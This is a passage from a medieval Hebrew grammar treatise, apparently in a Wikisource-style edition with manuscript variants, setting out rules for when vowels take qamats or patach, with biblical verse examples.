שער ה' הוא שיבוא נִי בסוף התיבה בלשון דיבור שלא יהיה שם, האות שלפניו היא ננקדת בפתח, כגון {{צ|שְׁמָרַנִי}} {{ק|([[בראשית כח כ]])}}, {{צ|ענני}}, {{צ|אֲכָלַנִי}}, {{צ|הֲמָמַנִי}}, {{צ|בְּלָעַנִי}} {{ק|([[ירמיהו נא לד]])}}, וכל תיבה שהיא לשון דיבור כגון אלו. אבל תיבה שהיא לשון שם, כגון {{צ|תּוֹלַעַת שָׁנִי}} {{ק|([[שמות כח ו]])}}, הן נקמצין. 

שער ו' הוא שיהיה חי&quot;ת בתיבה, או באמצע או בסוף. 

באמצע כיצד, כגון שתהיה התיבה שם ואינה דיבור, כגון {{צ|תַּחַת}}, {{צ|נַחַל}}, {{צ|שַׁחַל}}, {{צ|שַׁחַץ}}, {{צ|גַּחַל}} וכל דומיהן, והנגינה באות הראשונה. 

{{צ|פַּחַת}} הוא מתחלף לשני פנים: {{צ|פַּחַת}} שהוא לשון מצודה, [כי&quot;מ: כגון {{צ|יִפֹּל אֶל הַפַּחַת}} {{ק|([[ישעיהו כד יח]])}},] טעמיה לעיל, ואם הוא לשון שולטנות טעמיה לרע, כגון {{צ|פַּחַת יְהוּדָה}} {{ק|([[חגי א א]])}}. 

ואם התיבה דיבור ואינה שם, כגון {{צ|בָּחַר}}, {{צ|רָחַב פִּי}} {{ק|([[ש&quot;א ב א]])}}, האות הראשון קמץ והשני פתח והטעם לרע ודומיהן. 

שער ז' הוא שיהיה עי&quot;ן באמצע תיבה והתיבה היא שם, כגון {{צ|בַּעַל}}, {{צ|בַּעַר}}, {{צ|נַעַל}}, {{צ|נַעַר}} וכל דומיהן, כולהון פתחין וטעמ' מלעיל. 

ואם היא דיבור ואינה שם, כגון {{צ|פָּעַל}}, {{צ|מָעַל מַעַל}} {{ק|([[יהושע כב כ]])}}, ראשון ראשון נקמץ והשני פתח, וכל דומיהן. 

ואם ח&quot;ת או עי&quot;ן בסוף התיבה והיא דיבור ואינה שם, כגון {{צ|שָׂמַח}}, {{צ|בָּרַח}}, {{צ|שָׁמַע}}, {{צ|לָקַח}}, {{צ|זָרַע}}, {{צ|פָּרַח}}, הראשון קמץ והשני פתח. 

ואם היא שם ואינה דיבור, כגון {{צ|אֶלְיָדָע}}, {{צ|יְהוֹיָדָע}}, {{צ|אֱלִישָׁמַע}}, {{צ|יוֹאָח}}, אף על פי שיש ח&quot;ת או עי&quot;ן אחריהן, את שלפניהן קמוץ. 

זה הכלל: כל תיבה שהיא דיבור ואינה שם והיא בת ג' אותיות, האות הראשונה נקמצת והשנייה נפתחת, כגון {{צ|אָשֹׁם אָשַׁם לַייָ}} {{ק|([[ויקרא ה יט]])}}, {{צ|פָּרַח מַטֵּה אַהֲרֹן}} {{ק|([[במדבר יז כג]])}}, {{צ|אָמַר}}, {{צ|שָׁמַר}} ודומיהן. 

ואם התיבה שם, כגון {{צ|אָשָׁם הוּא}} {{ק|([[ויקרא ה יט]])}}, {{צ|בָּקָר}}, {{צ|דָּבָר}}, שאין בהן לא חי&quot;ת ולא עי&quot;ן באמצעיתה, ננקדת כולה בקמץ. 

ואם יש לתיבה חי&quot;ת או עי&quot;ן באמצעיתה, ננקדת כולה בפתח, בר מן ד' תיבות שאע&quot;פ שיש חי&quot;ת ועי&quot;ן באמצעיתן והם שם ואינן דיבור והן נקמצות, ואילו הן: {{צ|מָחָר}}, {{צ|נָחָשׁ}}, {{צ|רָחָב הַזּוֹנָה}} {{ק|([[יהושע ו יז]])}}, {{צ|רָעָב}}, וטעמ' לרע. 

ואם יש לתיבה חי&quot;ת או עי&quot;ן באמצעיתה והאות האחרונה היא אל&quot;ף או ה&quot;א, כולה נקמצת, כגון {{צ|נָחָה}}, {{צ|שָׁחָה}}, {{צ|שָׁעָה}}, {{צ|רָעָה}}. וכן כל שאר תיבות שיש אל&quot;ף או ה&quot;א בסופן, בין שהן דיבור או שם, כולהון קמצין, כגון {{צ|בָּרָא}}, {{צ|אָפָה}}, {{צ|בָּנָה}}, {{צ|סָרָה}}, {{צ|פָּרָה}} ודומיהן. 

ואם התיבה בת שלש אותיות, והאות הראשונה ננקדת בפתח קטן, והאות האחרונה שלתיבה היא ח&quot;ת או עי&quot;ן, והיא שם ואינה דיבור, כולה ננקדת בפתח וטעמה לעיל, כגון {{צ|פֶּתַח}}, {{צ|זֶרַע}}, [כי&quot;פ: {{צ|זֶרַח}}] [כי&quot;מ: {{צ|פֶּרַח}}], {{צ|פֶּלַח}}, {{צ|פֶּצַע}}, [כי&quot;מ: {{צ|בֶּצַע}}], {{צ|קֶצַח}} וכל דומיהן. 

אבל {{צ|צֵלָע}} יוצא מתנאי זה, שאם הוא דבוק, כגון {{צ|צֶלַע צָפוֹן}} {{ק|([[שמות כו לה]])}}, הוא נפתח כולו, ואם הוא עומד בטעם ואינו דבוק, כגון {{צ|וְהַצְּלָעוֹת צֵלָ֨ע אֶל צֵלָ֜ע}} {{ק|([[יחזקאל מא ו]])}}, הצד&quot;י נקמצת בקמץ קטן והנגינה מלרע. 

שער ח' הוא הדבוק לפניו. וזה פירושו: אם תמצא תיבה עומדת בטעמה והיא שם, היא ננקדת בקמץ, כגון {{צ|וְאֶל הַבָּקָר}} {{ק|([[בראשית יח ז]])}}, {{צ|וְהַבָּשָׂר}} {{ק|([[ויקרא ז יט]])}}, {{צ|וְהַמָּרָק}} {{ק|([[שופטים ו יט]] עי&quot;ש)}} וכל דומיהן.

אבל אם היא נקראת ונסברת עם התיבה שלאחריה, לא יתכן בה קמץ, כגון {{צ|וְכֹל בְּקַר זֶבַח הַשְּׁלָמִים}} {{ק|([[במדבר ז פח]])}}, {{צ|וּמְרַק פִּגֻּלִים}} {{ק|([[ישעיהו סה ד]])}}, {{צ|וּבְשַׂר קֹדֶשׁ}} {{ק|([[ירמיהו יא טו]])}}, {{צ|מַאֲכַל פַּרְעֹה}} {{ק|([[בראשית מ יז]])}}, {{צ|שַׁבַּת שַׁבָּתוֹן}} {{ק|([[שמות לא טו]])}}. [כי&quot;מ: וכל {{צ|שַׁבַּת}} דסמיך לאדכרא פתח, וכל {{צ|שַׁבָּת}} העומד קמץ; {{צ|שַׁבַּת שַׁבָּתוֹן}} פתח, אבל] {{צ|שַׁבַּת הָאָרֶץ}} {{ק|([[ויקרא כה ו]])}}, בין שהוא בא במקף בין שהוא עומד בטעם, הוא ננקד בפתח. 

וכל {{צ|מַלְאָךְ}} דסמיך לאדכרא פתח, כגון {{צ|מַלְאַךְ יְיָ}} {{ק|([[בראשית טז ז]])}}, {{צ|מַלְאַךְ הָאֱלֹהִים}} {{ק|([[בראשית לא יא]])}}. [כי&quot;מ: בר מן ב' שאף על פי שאינן סמוכין לאדכרא הן פתחין, והן במסורת המקרא, וסימניך: {{צ|וּמַלְאַךְ פָּנָיו}} {{ק|([[ישעיהו סג ט]])}}, {{צ|וּמַלְאַךְ הַבְּרִית}} {{ק|([[מלאכי ג א]])}}.] ואם אינו סמוך לאדכרא, כגון {{צ|וּמַלְאָךְ בָּא אֶל אִיּוֹב}} {{ק|([[איוב א יד]])}}, קמץ. 

זהו כללו שלדבר: כל מילה שנסברת ונקראת עם המלה שלאחריה ננקדת בפתח, בר מן י&quot;ג מילין שאף על פי שהן נסמכין לשלאחריהן הן נקמצין. ואלו הן: {{צ|כְּתָב הַדָּת}} {{ק|([[אסתר ד ח]])}}, {{צ|וְאוּלָם הַכִּסֵּא}} {{ק|([[מ&quot;א ז ז]])}}, {{צ|שְׁאָר יִשְׂרָאֵל}} {{ק|([[ישעיהו י כ]] ועוד 1)}}, {{צ|בִּשְׁאָט (ב)נֶפֶשׁ}} {{ק|([[יחזקאל לו ה]])}}, {{צ|כְּדָת הַיּוֹם}} {{ק|([[אסתר ט יג]])}}, {{צ|מַצַּב פְּלִשְׁתִּים}} {{ק|([[ש&quot;א יג כג]] ועוד 4)}}, {{צ|וּמְנָת הַמֶּלֶךְ}} {{ק|([[דה&quot;ב לא ג]])}}, {{צ|הָגְלָת יְהוּדָה}} {{ק|([[ירמיהו יג יט]])}}, {{צ|וְעָשָׂת אֶת הַתְּבוּאָה}} {{ק|([[ויקרא כה כא]])}}, {{צ|וְהִרְצָת אֶת שַׁבְּתֹתֶיהָ}} {{ק|([[ויקרא כו לד]])}}, {{צ|וְאֶת יְקָר תִּפְאֶרֶת}} {{ק|([[אסתר א ד]])}}, {{צ|מַתָּן אָדָם}} {{ק|([[משלי יח טז]])}}, {{צ|פִּתְגָם הַמֶּלֶךְ}} {{ק|([[אסתר א כ]])}}. 

ועוד אודיעך: כל וי&quot;ו שהיא בראש התיבה, והאות שלאחריה היא אחת מן אותיות א&quot;ח ה&quot;ע, ואותה אות א&quot;ח ה&quot;ע ננקדת בחטף פתח, הו&quot;ו שלפניה היא נפתחת, כגון {{צ|וַהֲלַכְתֶּם}} {{ק|([[בראשית יט ב]])}}, {{צ|וַחֲזַקְתֶּם}} {{ק|([[יהושע כג ו]])}}, [כי&quot;פ: {{צ|וַעֲבַדְתֶּם}} {{ק|([[שמות כג כה]])}}] [כי&quot;מ: וַעֲבַרְתֶּם {{ק|([[דברים יב י]]}}], {{צ|וַאֲשֶׁר}} {{ק|([[בראשית ז כג]])}}, {{צ|וַאֲדַבֵּרָה}} {{ק|([[בראשית יח ל]])}}. אבל {{צ|וָאֲדַבֵּר}} {{ק|([[דברים א מג]])}} יוצא מתנאי זה, שהוא קמץ מפני שהוא לשעבר. ויש אחד שהוא להבא והוא פתח: {{צ|עֲמֹד עַל רַגְלֶיךָ וַאֲדַבֵּר אֹתָךְ}} {{ק|([[יחזקאל ב א]])}}. 

ואם אות א&quot;ח ה&quot;ע ננקדת בקמץ או בפתח והתיבה לשעבר, תדע שהוי&quot;ו נקמצת, כגון {{צ|וָאַרְבֶּה}} {{ק|([[יהושע כד ג]])}}, {{צ|וָאֶתֵּן}} {{ק|([[בראשית מ יא]])}}, {{צ|וָאֶשְׁמַע}} {{ק|([[ש&quot;א טו כד]])}}, {{צ|וָאֶקְרָא}} {{ק|([[בראשית לט יד]])}}. 

ואם היא להבא הוי&quot;ו ננקדת בשבא, כגון {{צ|וְאֶתְּנָה בְרִיתִי}} {{ק|([[בראשית יז ב]])}}, {{צ|וְאֹמְרָה}} {{ק|([[בראשית מו לא]])}}, {{צ|וְאֶעֱשֶׂה}} {{ק|([[בראשית כז ט]])}}, {{צ|וְחָלָה}} {{ק|([[הושע יא ו]])}}, {{צ|וְעָמַד}}, {{צ|וְהָיָה}}, {{צ|וְעָלוּ}}, {{צ|וְהָיוּ}} וכל דומיהן. 

ועוד אשכילך, שכל מקום שתמצא תיבה שהיא לשעבר, כגון {{צ|וְעָמְדוּ}} {{ק|([[נחמיה יב לט]])}}, {{צ|וְעָבְרוּ}}, {{צ|וְאָמְרוּ}} {{ק|([[ש&quot;א ה ז]])}}, {{צ|בָּגְדוּ}} {{ק|([[ירמיהו יב ו]])}}, {{צ|בָּחֲרוּ בְּדַרְכֵיהֶם}} {{ק|([[ישעיהו סו ג]])}}, {{צ|גָּבְרוּ}} {{ק|([[בראשית ז יט]])}}, {{צ|חָמְדוּ}} {{ק|([[משלי א כב]])}}, {{צ|זָכְרוּ}} {{ק|([[שופטים ח לד]])}} וכל דומיהן, אף על פי שהשבא בא אחריו, לא יבטל הקמץ. ואפילו אם היא בלשון יעשו, כגון {{צ|וְרָחֲצוּ אַהֲרֹן וּבָנָיו}} {{ק|([[שמות ל יט]])}}, {{צ|וְרָחֲצוּ יְדֵיהֶם וְרַגְלֵיהֶם}} {{ק|([[שמות ל כא]])}}. אבל אם התיבה היא להבא בלשון ציווי, כגון {{צ|וְרַחֲצוּ רַגְלֵיכֶם}} {{ק|([[בראשית יח ד]])}}, {{צ|רַחֲצוּ הִזַּכּוּ}} {{ק|([[ישעיהו א טז]])}} [כי&quot;מ: אבל {{צ|וְהַזֹּנוֹת רָחָצוּ}} {{ק|([[מ&quot;א כב לח]])}} כולו קמץ, וכן {{צ|לֹא חָפַצְתִּי בָּחָרוּ}} {{ק|([[ישעיהו סו ד]])}} כולו קמץ], {{צ|בַּחֲרוּ לָכֶם}} {{ק|([[יהושע כד טו]], [[מ&quot;א יח כה]])}}, כולהון פתחין. וכן {{צ|אָמְרָה}}, {{צ|גָּבְרָה}}, {{צ|עָבְרָה}}, וכן {{צ|אָמַרְתָּ}}, {{צ|בָּחַרְתָּ}}, {{צ|גָּעַרְתָּ}} ודומיהן שהן לשעבר הן קמצין, ולא יבטל בהן השבא את הקמץ. 

וכל {{צ|וַיַּעַל}}, {{צ|וַיַּחַץ}}, {{צ|וַיַּעַשׂ}}, {{צ|וַתַּעַל}}, {{צ|וַתַּעַשׂ}}, כולהון פתחין וכל דומיהן, וטעמ' לעיל. 

[כי&quot;מ: וכל עשייה פתח בר מן ב' קמץ וסוף פסו': {{צ|וְנַפְשׁוֹ אִוְּתָה וַיָּֽעַשׂ}} {{ק|([[איוב כג יג]])}} {{צ|עַד חֲצִי הַמַּלְכוּת וְתֵעָֽשׂ}} {{ק|([[אסתר ה ו]])}}. וכל {{צ|מַעֲשֵׂה}} קמץ, בר מן י&quot;ב פתח, וסימ': {{צ|כֹּל כְּלִי מַעֲשֶׂה}} {{ק|([[במדבר לא נא]])}}, {{צ|בֹּשֶׂם}} {{ק|([[ישעיהו ג כד]])}}, {{צ|לְמִצְרַיִם}} {{ק|([[ישעיהו יט טו]])}}, {{צ|הַפְכְּ[כֶ]ם}} {{ק|([[ישעיהו כט טז]])}}, {{צ|מְרֻקָּחִים}} {{ק|([[דה&quot;ב טז יד]])}}, (חשב) {{צ|הֵחֵל}} {{ק|([[דה&quot;ב לא כא]])}}, {{צ|לְהָסִיר}} {{ק|([[איוב לג יז]])}}, {{צ|אֶת כָּל (אלה) [זֶה]}} {{ק|([[קהלת ח ט]])}} {{צ|תִּמְצָא}} {{ק|([[קהלת ט י]])}}, {{צ|בְמִשְׁפָּט}} {{ק|([[קהלת יב יד]])}}.]

וכל {{צ|וַיֵּשֶׁב}}, {{צ|וַתֵּשֶׁב}}, {{צ|וַיָּקָם}}, {{צ|וַתָּקָם}}, {{צ|וַתָּרָם}}, {{צ|וַנָּשָׁב}} וכל דומיהן קמצין, בר מן וי&quot;ו שבראש התיבה שהיא פתוחה, וטעמ' לעיל. 

ואין אות שתהא שוה לח&quot;ת ועי&quot;ן במצע לעניין פתחות כי אם ה&quot;א לבדה במקומות מועטין, כגון {{צ|וַתַּהַר}}, {{צ|בַּהַט}}, {{צ|לַהַט}}, {{צ|רַהַב}}, {{צ|לַהַב}}. 

וכל {{צ|אָז}} קמץ. 

וכל {{צ|אַךְ}}, {{צ|גַּם}}, {{צ|רַק}}, פתח. 

וכל {{צ|וַיֹּאכַל}}, {{צ|וַתֹּאכַל}}, {{צ|וַיֹּאמֶר}}, {{צ|וַתֹּאמֶר}}, כולהון פתחין וטעמ' לרע, בר מן חד דטעמיה לעיל: {{צ|הֵעֵזָה פָנֶיהָ וַתֹּאמַר לוֹ}} {{ק|([[משלי ז יג]])}}. ואפילו אתנחתא וסוף פסוק' כולהון פתחין. 

ועוד דע והבן: אם באה ה&quot;א בראש התיבה, ובאה אחריה אל&quot;ף או עי&quot;ן, כגון {{צ|הָעַמִּים}}, {{צ|הָעָם}}, {{צ|הָעֹמְדִים}}, {{צ|הָאֵל}}, {{צ|הָאֲדָמָה}}, {{צ|הָאֲרָצוֹת}}, {{צ|הָאָדָם}}, {{צ|הָעֶבֶד}}, {{צ|הָאֱלֹהִים הָרֹעֶה אֹתִי}} {{ק|([[בראשית מח טו]])}} וכל דומיהן – קמצין. 

ואם באה ה&quot;א בתימה, כגון {{צ|הַאֵל יְעַוֵּת מִשְׁפָּט}} {{ק|([[איוב ח ג]])}}, {{צ|הַאֶל אֲדֹנֶיךָ וְאֵלֶיךָ}} {{ק|([[ישעיהו לו יב]])}}, {{צ|הַאֱלֹהִים אָנִי}} {{ק|([[מ&quot;ב ה ז]])}}, {{צ|הַעֶבֶד יִשְׂרָאֵל}} {{ק|([[ירמיהו ב יד]])}}, {{צ|הַאוֹתִי לֹא תִירָאוּ}} {{ק|([[ירמיהו ה כב]])}}, ננקדת בפתח, וכל דומיהן. 

ועוד {{צ|רָץ}} שהוא לשון דיבור, כגון {{צ|וְהִנֵּה אִישׁ רַץ לְבַדּוֹ}} {{ק|([[ש&quot;ב יח כד]] עי&quot;ש)}}, הוא פתח, ואם הוא עניין שם, כגון {{צ|רָץ לִקְרַאת רָץ}} {{ק|([[ירמיהו נא לא]])}}, הוא קמץ. 

וכל {{צ|עַל}}, {{צ|וְעַל}} שהן סמוכין, כגון {{צ|עַל הַמְּנֹרָה}} {{ק|([[ויקרא כד ד]])}} {{צ|עַל הַכַּפֹּרֶת}} {{ק|([[שמות כה כ]])}}, פתחין, ואם אינו סמוך, כגון {{צ|הֻקַם עָל}} {{ק|([[ש&quot;ב כג א]])}}, {{צ|וּמִטַּל הַשָּׁמַיִם מֵעָל}} {{ק|([[בראשית כז לט]])}}, הן קמצין. 

וכל {{צ|עַד}}, {{צ|וְעַד}} פתחין. 

וכל {{צ|חַג}}, {{צ|וְחַג}} הנסמך לשם הקודש ולאות ה&quot;א הן פתחין, כגון {{צ|חַג יְיָ לָנוּ}} {{ק|([[שמות י ט]])}}, וכגון {{צ|חַג הַמַּצּוֹת}}, {{צ|חַג הַשָּׁבֻעוֹת}}, {{צ|חַג הַסֻּכּוֹת}} {{ק|([[דברים טז טז]])}}. והיוצאין מתנאי זה הן קמצין, [כי&quot;מ: {{צ|בְּיֶרַח הָאֵתָנִים בֶּחָג}} {{ק|([[מ&quot;א ח ב]])}}, {{צ|בָעֵת הַהִיא אֶת הֶחָג}} {{ק|([[מ&quot;א ח סה]])}}.] בר מן ג' פתחין: {{צ|אִסְרוּ חַג בַּעֲבֹתִים}} {{ק|([[תהלים קיח כז]])}}, {{צ|וְחַג שָׁבֻעֹת}} {{ק|([[שמות לד כב]])}}, {{צ|וַיַּעֲשׂוּ חַג מַצּוֹת}} דעזרא {{ק|([[עזרא ו כב|ו כב]])}}. 

תנאי {{צ|מָה}} קמץ ו{{צ|מַה}} פתח: כל {{צ|מָה}} הסמוך לאלו ג' אותיות אה&quot;ר קמצין, כגון {{צ|מָה אֹמַר}} {{ק|([[שמות ג יג]])}}, {{צ|מָה הָאָרֶץ}} {{ק|([[במדבר יג יט]])}}, {{צ|מָה רְאִיתֶם}} {{ק|([[שופטים ט מח]])}}, אף על פי שאם בא במקף עם אחת מג' אותיות הללו, הוא קמץ ומתוג הוא כמעט מלמטה.

בר מן ד' שהן סמוכין לה&quot;א והם פתחין, והם {{צ|אַרְבַּע מֵאֹת שֶׁקֶל כֶּסֶף בֵּינִי וּבֵינְךָ מַה־הִוא}} {{ק|([[בראשית כג טו]])}}, {{צ|וּרְאִיתֶם אֶת הָאָרֶץ מַה־הִוא}} {{ק|([[במדבר יג יח]])}}, {{צ|וּמִדַּת יָמַי מַה־הִיא}} {{ק|([[תהלים לט ה]])}}, {{צ|וָאֹמַר מַה־הִיא וַיֹּאמֶר זֹאת הָאֵיפָה}} {{ק|([[זכריה ה ו]])}}. 

ואם הוא עומד באחד מי&quot;ב טעמים הוא קמץ, כגון {{צ|וְנַחְנוּ מָ֔ה}} {{ק|([[שמות טז ז]])}}, [כי&quot;מ: {{צ|וְלֹא יָדַעְתִּי מָֽה}} {{ק|([[ש&quot;ב יח כט]])}},] {{צ|וַאֲמַרְתֶּם עַל מָ֑ה}} {{ק|([[מלאכי ב יד]])}} וכל דומיהן. 

וכל {{צ|מָה}} דארמית דדניאל ועזרא קמצין, כגון {{צ|מָה דִּי לֶהֱוֵא אַחֲרֵי דְנָה}} {{ק|([[דניאל ב כט]])}}. 

ויש ז' {{צ|מָה}} במקרא דסמיכן לח&quot;ת ועי&quot;ן והן קמצין, ואלו הן: {{צ|מָה עִמָּדִי וְקַח לָךְ}} {{ק|([[בראשית לא לב]])}}, {{צ|(ו)מַה חַטָּאתִי כִּי דָלַקְתָּ אַחֲרָי}} {{ק|([[בראשית לא לו]])}}, {{צ|כִּי מָה עַבְדְּךָ הַכֶּלֶב}} {{ק|([[מ&quot;ב ח יג]])}}, {{צ|וַאֲמַרְתֶּם עַל מָה עַל כִּי יְיָ הֵעִיד בֵּינְךָ}} {{ק|([[מלאכי ב יד]])}}, {{צ|וּמָה חַשְׁחָן}} {{ק|([[עזרא ו ט]])}}, {{צ|וְ[יֵ]אמַר לֵהּ מָה עֲבַדְתְּ}} {{ק|([[דניאל ד לב]])}}, {{צ|כִּי מַה חֶפְצוֹ בְּבֵיתוֹ אַחֲרָיו}} {{ק|([[איוב כא כא]])}}. וכל דסמיכין לח&quot;ת ועי&quot;ן הן {{צ|מֶה}}, בר מן אילין ז'. ועוד יש כ&quot;ד {{צ|מֶה}} בקרי שאינן סמוכין לח&quot;ת ועי&quot;ן, והן על פי המסורת. 

ובכל מקום שתמצא {{צ|מֶה}} הוא בא או במשרת או מתוג הוא כמעט מלמטה, והאות הבאה אחריה ננקדת ברפי, כגון {{צ|מֶ֣ה לִידִידִי}} {{ק|([[ירמיהו יא טו]])}}. 

וכל אות הבאה אחר {{צ|מַה}} פתח היא נדגשת, כגון {{צ|מַה נְּדַבֵּר וּמַה נִּצְטַדָּק}}, {{צ|מַה נֹּאמַר}} {{ק|([[בראשית מד טז]])}}, ו{{צ|מַה תֹּאמַר}} {{ק|([[ש&quot;א כ ד]])}}, {{צ|מַה יִּתְרוֹן}} {{ק|([[קהלת א ג]])}}, [כי&quot;מ: {{צ|מַה יַּעֲשֶׂה}} {{ק|([[תהלים נו ה]])}},] {{צ|מַה נַּעֲשֶׂה}} {{ק|([[שופטים יג ח]])}}, {{צ|מַה תַּעֲשֶׂה}} {{ק|([[ישעיהו מה ט]])}} וכל דומיהן. 

ועוד הבן: כל מקום שתמצא אות א&quot;ח ה&quot;ע בתיבה ואחריה אות המודגשת או ננקדת בשבא, לא תתכן אותה אות א&quot;ח ה&quot;ע שתהא ננקדת כי אם בפתח לבדו או בקמץ לבדו, כגון {{צ|אַתֶּם}}, {{צ|אַבְרֵךְ}}, {{צ|בַּעְלִיס}}, {{צ|עַמִּים}}, {{צ|עָבְרוּ}}, {{צ|חַרְבּוֹ}}, {{צ|הַרְבּוּ}}, ולא יתכן להיות בה חטף פתח, אבל יתכן להיות חטף קמץ, כגון {{צ|עֳבְרְכֶם}} {{צ|אֳרְכָּהּ}}, {{צ|הֳתְפָּקְדוּ}}, {{צ|הֳגְלָה}}. 

ויש סופרים שאינן מחברין חטף קמץ באות ואם בא בשבא תחת אות הסמוך לה, אלא נוקדים אותה בקמץ לבדו, ועשים {{צ|אָרְכָּהּ}}, {{צ|רָחְבָּהּ}}, {{צ|אָכְלָה בְשִׁלֹה}} {{ק|([[ש&quot;א א ט]])}}. ולא יתכן בעיני להיות כן, לפי שמצאנו {{צ|אֳכְלָה בְשִׁלֹה}} במסורת: לית דכוותיה, ואם כן הוא, הלא מצינו כמו כן ננקד {{צ|אָכְלָה וּמָחֲתָה פִיהָ}} {{ק|([[משלי ל כ]])}} בקמץ לבדו, ועתה נסתר המסורת. ועוד {{צ|קֳרְבָה אֶל נַפְשִׁי גְאָלָהּ}} {{ק|([[תהלים סט יט]])}}, מצינו במסורת: לית דכוותיה, ומצינו עוד {{צ|קָרְבָה שְׁנַת הַשֶּׁבַע}} {{ק|([[דברים טו ט]])}} ננקד כמו כן בקמץ, לפיכך נראה בעיני שיתכן חטף קמץ באות אף על פי שהאות השנייה לה ננקדת בשבא, כדי להפריד בין להבא בין לשעבר. 

ובכל מקום שתמצא {{צ|אַרְבַּע}} במקרא, בין אתנחתא בין סוף פסוק, כולהון פתחין. 

וכל {{צ|הַהוּא}}, {{צ|הַהִיא}} – פתח. 

וכל {{צ|הָהָר}}, [כי&quot;פ: {{צ|הָעָם}}] [כי&quot;מ: {{צ|הָהֵם}}] – קמצין. 

כל {{צ|נִמְכַּר}}, {{צ|וְנִמְכַּר}} – פתחין. 

וכל {{צ|מָךְ}} {{צ|וּמָךְ}} – קמצין.

וכל {{צ|חֲמַת}} שהוא לשון רוגז פתחין, וכל לשון קריה קמץ, [כי&quot;מ: כגון {{צ|אִם לֹא כְאַרְפַּד חֲמָת}} {{ק|([[ישעיהו י ט]])}}, {{צ|לְבֹא חֲמָת}} {{ק|([[במדבר יג כא]])}},] בר מן חד: {{צ|וּלְכוּ מִשָּׁם חֲמַת רַבָּה}} דנבואת עמוס {{ק|([[עמוס ו ב|ו ב]])}}. 

[כי&quot;מ: וכל {{צ|חָתָן}} קמץ, בר מן ד' דפתח חטף: {{צ|וַתִּקַּח}} {{ק|([[שמות ד כה]])}}, {{צ|וַיִּרֶף}} {{ק|([[שמות ד כו]])}}, {{צ|אַחְאָב}} {{ק|([[מ&quot;ב ח כז]])}}, (המלך) [{{צ|הַתִּמְנִי}} {{ק|([[שופטים טו ו]])}}], וחד {{צ|וַחֲתַן הַמֶּלֶךְ}} {{ק|([[ש&quot;א כב יד]])}}.] 

וכל {{צ|שָׁמָּה}} שהוא כמו שָׁם כולו קמץ וטעמיה מלעיל, אבל {{צ|שַׁמָּה וּמִזָּה}} {{ק|([[בראשית לו יג]])}} שהיא שם, חציו הראשון פתח והשני קמץ וטעמיה מלרע. [כי&quot;מ: וכן {{צ|שַׁמָּה}} שהוא לשון שממה, כגון {{צ|שַׁמָּה הֶחֱזִקָתְנִי}} {{ק|([[ירמיהו ח כא]])}}, חציו פתח וחציו קמץ וטעמיה מלרע.] 

וכן {{צ|יָמָּה}} קמץ וטעמיה מלעיל. 

{{צ|בַּמָּה}} – חציו הראשון פתח והשני קמץ וטעמיה מלרע. 

{{צ|למה}}, {{צ|ולמה}}, בין דגש ובין רפי כולו קמץ, ואם הוא דגש טעמיה לעיל, ואם הוא רפי טעמיה לרע. 

ועתה אודיעך תנאי {{צ|לָמָה}} רפי ו{{צ|לָמָּה}} דגש, באי זה מקום יוכשר דגש ובאי זה מקום יוכשר רפי. את הנסמך לג' אותיות א(ה)ח&quot;ע הן רפין, כגון {{צ|לָמָה יְיָ}} {{ק|([[שמות לב יא]])}}, {{צ|לָמָה הֶעֱלִיתֻנוּ}} {{ק|([[במדבר כא ה]])}}, {{צ|לָמָה עֲלִיתֶם}} {{ק|([[שופטים טו י]])}}, בר מן ה' דגש, והן {{צ|לָמָּה הִרְגַּזְתַּנִי}} {{ק|([[ש&quot;א כח טו]])}}, {{צ|לָמָּה הִצִּיתוּ עֲבָדֶיךָ}} {{ק|([[ש&quot;ב יד לא]])}}, {{צ|לָמָּה אִירָא בִּימֵי רָע}} {{ק|([[תהלים מט ו]])}}, {{צ|לָמָּה הָיָה כְאֵבִי נֶצַח}} {{ק|([[ירמיהו טו יח]])}}, {{צ|לָמָּה אַכֶּכָּה אַרְצָה}} {{ק|([[ש&quot;ב ב כב]])}}, וטעמיה מלעיל. 

וכל הנסמך לשאר י&quot;ט אותיות דגש, בר מן ג' רפיין, והן {{צ|לָמָה זְנַחְתָּ[נִי] (ותמאס)}} {{ק|([[תהלים מג ב]])}}, {{צ|לָמָה שְׁכַחְתָּנִי}} {{ק|([[תהלים מב י]])}}, {{צ|לָמָה שַׂמְתַּנִי לְמִפְגָּע לָךְ}} {{ק|([[איוב ז כ]])}}. כל {{צ|לָמָה}} רפי טעמיה לרע בר מן דין {{צ|לָ֤מָה שַׂמְתַּנִי}} דטעמיה לעיל. 

כל מפיק ה&quot;א בסוף התיבה, האות הקדומה לה היא נקמצת, כגון {{צ|אֳרְכָּהּ}}, {{צ|רֳחְבָּהּ}}, {{צ|יָדָהּ}}, {{צ|אֲהָהּ}} וכל דומיהן. 

אבל אם התיבה נסברת ונקראת עם התיבה אשר לפניה, כגון {{צ|הֲלֹא אֱלוֹהַּ גֹּ֣בַהּ שָׁמָ֑יִם}} {{ק|([[איוב כב יב]])}}, היא נפתחת והטעם מלעיל. 

ועוד הבן: כל מקום שתמצא שבא בין שני קמצין, כגון {{צ|יָדְךָ}}, {{צ|שָׂדְךָ}}, {{צ|לְבָבְךָ}}, {{צ|חֲמָתְךָ}}, {{צ|בְּקָרְךָ}}, אפילו יהיה התיבה לשון עשייה, כגון {{צ|אֲשֶׁר קָֽרְךָ֜ בַּדֶּרֶךְ}} {{ק|([[דברים כה יח]])}}, {{צ|הוּא עָֽשְׂךָ֖}} {{ק|([[דברים לב ו]])}}, לא יבטל השבא הקמץ אשר לפניו באלו ובכל דומיהן, וצריך הקמץ אשר לפני השבא להיות כמעט מתוג. אבל אם יצטרף דיגוש עם השבא באות, כגון {{צ|לְבַדְּךָ}} והדומה לו, לא יתכן הקמץ שם. 

וזהו טעמו שלדבר: אם תוציא אות ך' שבסוף התיבה מאלו הנזכרים למעלה ותשים בה אות אחרת, כגון {{צ|יָדוֹ}}, {{צ|יָדָהּ}}, {{צ|יָדִי}}, {{צ|בְּקָרוֹ}}, {{צ|בְּקָרִי}}, [כי&quot;מ: {{צ|לְבָבוֹ}},] {{צ|לְבָבִי}}, {{צ|שָׂדִי}}, {{צ|חֲמָתִי}}, אין שבא בתיבה, וחוקו ומשפטו להיות קמץ, שאין כאן אחת משמונה דברים המבטלין את הקמץ. אבל {{צ|לְבַדְּךָ}}, [כי&quot;מ: {{צ|לְבָבְךָ}}, {{צ|עִמְּךָ}}, {{צ|נַפְשְׁךָ}}] והדומה להן, אם תוציא אות ך' משם ותשים בה אות אחרת, כגון {{צ|לְבַדּוֹ}}, {{צ|לְבַדָּהּ}}, {{צ|לְבַדִּי}}, {{צ|לְבַדָּם}}, הדגש עומד במקומו, והוא אחד מח' דברים המבטלין את הקמץ. 

